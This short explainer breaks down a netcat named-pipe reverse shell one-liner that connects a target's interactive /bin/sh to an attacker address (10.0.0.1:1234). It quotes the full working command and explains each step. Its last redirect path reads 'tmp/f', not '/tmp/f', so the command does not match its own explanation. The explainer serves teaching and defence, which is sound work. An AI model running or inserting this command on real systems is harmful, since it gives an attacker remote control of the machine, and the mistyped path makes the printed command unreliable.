The command rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 > tmp/f is a one-liner that creates a reverse shell from the target machine to the attacker's machine. It does the following steps:
*rm -f /tmp/f deletes any existing file named /tmp/f
*mknod /tmp/f p creates a named pipe (FIFO) file named /tmp/f
*cat /tmp/f|/bin/sh -i 2>&1 reads from the pipe and executes the commands using /bin/sh in interactive mode, redirecting the standard error to the standard output
*nc 10.0.0.1 1234 > tmp/f connects to the attacker's machine at IP address 10.0.0.1 and port 1234 using netcat, and writes the output to the pipe This way, the attacker can send commands to the target machine and receive the output through the netcat connection, effectively creating a reverse shell.
References
Hack the Galaxy
Reverse Shell Cheat Sheet